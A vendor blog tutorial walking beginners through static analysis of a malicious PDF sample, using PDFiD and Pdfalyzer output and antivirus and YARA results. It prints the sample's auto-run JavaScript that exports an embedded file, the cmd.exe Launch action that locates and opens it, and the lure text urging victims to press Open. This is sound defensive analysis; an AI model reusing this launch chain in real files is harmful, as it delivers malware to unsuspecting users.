



## Blog

SUPPORT

Search

REQUEST DEMO

< Back

# The beginners Guide To – Adobe PDF Malware Reverse Engineering Part 2

By BUFFERZONE Team, 15/06/2023

Share [f](#) [in](#) [t](#)

Target: Cybersecurity specialist

Tags: Adobe PDF, Malware, Content Disarm and Reconstruction (CDR), Reverse Engineering

In this blog we will continue the PDF malware analysis part –1 and continue to investigate more complex malware.

### Collection:

Within this blog, we shall retrieve a potentially suspicious file from MalwareBazaar and collectively examine the PDF file (remember to operate within a virtual machine). By employing the “file\_type:pdf” filter, we shall acquire the most recently uploaded PDF files within the system. Let us proceed with downloading the latest file, possessing the sha256 hash:

304a28d5e9010331c8f183b5932d0420410cf5e749f84cdd02d9992abd397285. We specifically chose this file for the blog as it does not employ a phishing/luring style and possesses intriguing attributes we wish to discuss.

**MALWARE** bazaar  
by ABUSE™

[Browse](#) [Upload](#) [Hunting](#) [API](#) [Export](#) [Statistics](#) [FAQ](#) [About](#) [Login](#)

**412**  
Submissions (past 24 hours)

**AgentTesla**  
Most seen malware family (past 24 hours)

**669'009**  
Malware samples in corpus

Using the form below, you can search for malware samples by a hash (MD5, SHA256, SHA1), imphash, tlsh hash, ClamAV signature, tag or malware family.

### Browse Database

Search Syntax ?

Date (UTC)	SHA256 hash	Type	Signature	Tags	Reporter	DL
2023-05-30 15:37	d0265161d0ed290ff81ff9...	pdf		obama265 pdf Qakbot	pr0xylife	
2023-05-26 10:29	0e84b26558a3805c5be9...	pdf	Goat	apemiasentrate Goat ITA pdf	zaneif	
2023-05-25 14:25	7fd59738f8f4f8bbf0f56ce...	pdf		pdf	James_inthe_box	
2023-05-25 13:14	88eb87f67aefe33b394ba...	pdf	Goat	apemiasentrate Goat pdf Urusaf	JAMESWT_MHT	
2023-05-25 13:11	4101cab81e757fa62ac9c...	pdf	Goat	apemiasentrate Goat pdf Urusaf	JAMESWT_MHT	



WHY SAFE WORKSPACE®

SOLUTIONS

TECHNOLOGY

FAQS

COMPANY

RESOURCES

NEWS & EVENTS

CONTACT US

SUPPORT

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY 4

REQUEST DEMO

Crowdsourced YARA rules

- Matches rule PDF\_Launch\_Action\_EXE by InQuest Labs from ruleset PDF\_Launch\_Action\_EXE at https://github.com/InQuest/yara-rules-vt  
↳ This signature detects PDF files that launch an executable upon being opened on a host machine. This action is performed by the Launch Action feature available in the PDF file format and is commonly abused by threat actors to execute delivered malware.
- Matches rule PDF\_Launch\_Function by InQuest Labs from ruleset PDF\_Launch\_Function at https://github.com/InQuest/yara-rules-vt  
↳ This signature detects the launch function within a PDF file. This function allows a document author to attach an executable file.
- Matches rule PDF\_with\_Launch\_Action\_Function by InQuest Labs from ruleset PDF\_with\_Launch\_Action\_Function at https://github.com/InQuest/yara-rules-vt  
↳ This signature detects the launch function within a PDF file. This function allows the document author to attach an executable file.

Security vendors' analysis on 2023-05-21T04:32:28 UTC

Popular threat label	Threat categories	Family labels
AhnLab-V3	Trojan.Win32.Shell.R1283	Trojan.Crypt2.Marte.1.Gen
Artily-AVL	GrayWare.Win32.Tampering.a	Exploit.PDF-Dropper.Gen [many]

This indicates that the file consists of known attack vectors. To verify we will start our static analysis.

## Reverse Engineering PDF File Using Static Analysis

In this blog we will focus on PDFiD [5], Pdftalyze [6], and Pdf-tool [5].

## PDFiD

By running python pdfid.py <file> we will get the following output:

```
PDF Header: %PDF-1.3
obj                25
endobj             25
stream            4
endstream         4
xref              2
trailer           2
startxref         2
/Page             2
/Encrypt          0
/ObjStm           0
/JS               1
/JavaScript       1
/AA               1
/OpenAction       1
/AcroForm         0
/JBIG2Decode      0
/RichMedia        0
/Launch           1
/EmbeddedFile     0
/XFA              0
/URI              0
/Colors > 2^24    0
```

Insights from PDFiD unveil the existence of 25 objects, 4 streams, 2 pages, along with crucial execution descriptors: /AA, /OpenAction, and /Launch. The execution procedure commonly involves /JS and /JavaScript, indicating the deployment of active scripting elements. This will assist us in prioritizing the initial search using Pdftalyze.

Pdftalyze



WHY SAFE WORKSPACE@ SOLUTIONS TECHNOLOGY FAQS COMPANY RESOURCES NEWS & EVENTS CONTACT US

```
<24:Trailer(Dictionary)>
<13:Catalog(Dictionary)>
  <3:Pages(Dictionary)>
    <2:Page(Dictionary)>
      <4:Contents(EncodedStream)>
      <23:Action:Launch(Dictionary)>
      <6:Resources(Dictionary)>
        <7:ColorSpace(Cs1)(Array)>
        <11:EncodedStream>
        <8:Font:TrueType(Dictionary)>
        <16:FontDescriptor(Dictionary)>
        <14:FontFile2(EncodedStream)>
        <17:Widths(Array)>
        <9:ExtGState(Dictionary)>
        <10:ExtGState(Dictionary)>
      <18:Names(Dictionary)>
        <19:EmbeddedFiles(Dictionary)>
        <20:Filespec(Dictionary)>
        <21:EF(EncodedStream)>
        <22:Action:JavaScript(Dictionary)>
      <1:Info(Dictionary)>
```

REQUEST DEMO

From this we can observe that object 23 (Action: Launch) and object (22 Action: JavaScript) are interesting and highlighted in red. We will start examining 22 and move to 23.

22./Action:JavaScript	/Root/OpenAction	Dictionary
AddressInParent /S /JS /Type	/OpenAction /JavaScript this.exportDataObject({ cName: "form", nLaunch: 0 }); /Action	Name Name Name Name

We observe that JavaScript executes exportDataObject [9]. According to the documentation, we discover that the “cName” parameter is mandatory and indicates the desired file attachment for export. Additionally, there are three optional values for “nLaunch”:

- 0: Triggers file preservation.
- 1: Triggers file opening after preservation.
- 2: Instructs Acrobat to temporarily save the file attachment and then prompt the operating system to open it (Acrobat lacks knowledge of which programs handle specific file types, whereas the OS does).


23./Action:Launch	/Root/Pages/Kids[0]/AA[0]	Dictionary
AddressInParent /S /Type /Win	/AA[0] /Launch /Action {/P: cmd.exe, /D: c:\windows\system32, /P: /Q /C %HOMEDRIVE%\cd %HOMEPATH%\&(if exist "Desktop\form.pdf" (cd "Desktop"))&(if exist "My Documents\form.pdf" (cd "My Documents"))&(if exist "Documents\form.pdf" (cd "Documents"))&(if exist "Escritorio\form.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\form.pdf" (cd "Mis Documentos"))&(start form.pdf)}	Name Name Dictionary
To view the encrypted content please tick the "Do not show this message again" box and press Open.		

Launch a cmd.exe with the file that was saved.

The form is found in object 20 → to 21:





 BUFFERZONE

WHY SAFE WORKSPACE®

SOLUTIONS

TECHNOLOGY

FAQS

COMPANY

RESOURCES

NEWS & EVENTS

CONTACT US

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY 5

SUPPORT

Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label

trojan.swort/cryptz

Threat categories

trojan

hacktool

Family labels

swort

cryptz

marle

Security vendors' analysis

Ask AI

Do you want to automate checks?

Acronis (Static ML)	Suspicious	AhnLab-V3	TrojanWin32.Shell.R1283
ALYac	Trojan.CryptZ.Marte.1.Gen	Antiy-AVL	GrayWare.Win32.Tampering.a
Arcabit	Trojan.CryptZ.Marte.1.Gen	Avast	Win32:Meterpreter-C [Trj]
AVG	Win32:Meterpreter-C [Trj]	Avira (no cloud)	TR/Patched.Gen2
BitDefender	Trojan.CryptZ.Marte.1.Gen	BitDefenderTheta	Gen:NN.ZexaF.36196.eq1@asWjsEei
Bkav Pro	W32.FamVT.RorenNHc.Trojan	ClamAV	Win.Trojan.Sworot-5710536-0

We can conclude that the file contains a malicious embedded object (detected by 57 engines).

## Summary

In this blog, we expand upon the initial blog and investigate a more intricate PDF malware assault. Attack patterns may vary, but the research approach remains consistent. We trust you found the novice's PDF guide Part -2 to be informative. Kindly visit our website for upcoming blog entries.

## References

- [1] Adobe PDF, <https://www.adobe.com/acrobat/about-adobe-pdf.html>
- [2] Common Crawl data statistics, <https://commoncrawl.github.io/cc-crawl-statistics/plots/mimetypes>.
- [3] Dubin, Ran. "Content Disarm and Reconstruction of PDF Files." *IEEE Access* (2023).
- [4] MalwareBazaar, Public Malware Repository, <https://bazaar.abuse.ch/>
- [5] Didier Stevens, PDF tools, <https://blog.didierstevens.com/programs/pdf-tools/>
- [6] Pdfalyzer, <https://github.com/michelcrypt4d4mus/pdfalyzer>
- [7] VirusTotal, <https://www.virustotal.com/gui/file/d0265161d0ed290ff81ff99e4571de9b709b357c9e663ad2b4519b68497705f5>
- [8] Yara, <https://virustotal.github.io/yara/>
- [9] Adobe PDF importing and exporting attachments, <https://acrobatusers.com/tutorials/print/importing-and-exporting-pdf-file-attachments-acrobat-javascript/>



- FAQS
- TECHNOLOGY PARTNERS
- BROCHURES
- EVENTS
- (ICS)
- WHY SAFE WORKSPACE®
- SOLUTIONS
- TECHNOLOGY
- FAQS
- COMPANY
- RESOURCES
- NEWS & EVENTS
- CONTACT US
- CHANNEL PARTNERS
- SUPPORT
- SUPPORT
- CAREERS
- REQUEST DEMO



CONTACT US

© 2024 BUFFERZONE® Security Ltd. All rights reserved. BUFFERZONE® and SafeBridge are registered trademarks of BUFFERZONE® Security Ltd.  
TERMS OF USE | PRIVACY POLICY | GDPR STATEMENT      Design: DVIVO / Code: Alice